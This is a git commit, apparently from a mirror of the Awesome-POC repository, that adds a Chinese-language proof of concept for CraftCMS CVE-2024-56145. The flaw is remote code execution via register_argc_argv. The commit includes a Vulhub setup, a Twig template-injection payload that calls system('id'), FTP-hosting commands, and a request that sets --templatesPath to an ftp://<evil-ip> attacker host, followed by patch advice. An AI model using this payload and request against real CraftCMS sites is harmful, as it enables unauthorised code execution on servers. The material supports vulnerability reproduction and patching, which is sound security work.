mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 02:37:58 +00:00
update CVE-2024-56145
This commit is contained in:
parent
18e8b43fa0
commit
dff484f37b
@ -296,6 +296,7 @@
|
||||
* CMA客诉管理系统 upFile.ashx 任意文件上传漏洞
|
||||
* Coremail 路径遍历与文件上传漏洞
|
||||
* Coremail 配置信息泄露漏洞
|
||||
* CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145
|
||||
* Crawlab file 任意文件读取漏洞
|
||||
* Crawlab users 任意用户添加漏洞
|
||||
* Dapr Dashboard configurations 未授权访问漏洞 CVE-2022-38817
|
||||
|
||||
@ -0,0 +1,66 @@
|
||||
# CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
CraftCMS 是一个基于 PHP 的内容管理系统,用于构建网站和应用程序。
|
||||
|
||||
CraftCMS 5.5.2 和 4.13.2 之前的版本存在潜在的远程代码执行漏洞。当 PHP 环境启用 `register_argc_argv` 时,CraftCMS 会错误地从 HTTP 请求中读取配置项,攻击者可以使用 `--templatesPath` 控制模板文件,并利用模板注入导致任意代码执行。
|
||||
|
||||
参考链接:
|
||||
|
||||
- [https://github.com/craftcms/cms/security/advisories/GHSA-2p6p-9rc9-62j9](https://github.com/craftcms/cms/security/advisories/GHSA-2p6p-9rc9-62j9)
|
||||
- [https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms)
|
||||
|
||||
## 披露时间
|
||||
|
||||
2024-12-19
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
5.0.0-RC1 <= Craft CMS < 5.5.2
|
||||
4.0.0-RC1 <= Craft CMS < 4.13.2
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
Vulhub 执行以下命令启动一个 CraftCMS 5.5.1.1 服务器:
|
||||
|
||||
```
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
服务器启动后,你可以在 `http://<your-ip>:8088/admin/install` 看到安装页面。请按照说明安装 CraftCMS,默认数据库地址为 `db`,用户名和密码均为 `root`。
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
要复现该漏洞,你需要准备一个包含以下内容的 `index.twig` 文件并放置在任意远程服务器上:
|
||||
|
||||
```html
|
||||
{{ ['system', 'id'] | sort('call_user_func') | join('') }}
|
||||
```
|
||||
|
||||
然后在 `index.twig` 文件所在的服务器中启动一个 FTP 服务器:
|
||||
|
||||
```shell
|
||||
# 安装 pyftpdlib
|
||||
pip install pyftpdlib
|
||||
|
||||
# 启动 FTP 服务器
|
||||
python -m pyftpdlib -p 21212 -V
|
||||
```
|
||||
|
||||
然后你可以通过发送以下请求来利用该漏洞:
|
||||
|
||||
```
|
||||
http://<your-ip>:8088/?--templatesPath=ftp://<evil-ip>:21212/
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
1. 升级 Craft CMS 至安全版本。
|
||||
2. 设置 register_argc_argv 为 off。
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 1.0 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 194 KiB |
Loading…
x
Reference in New Issue
Block a user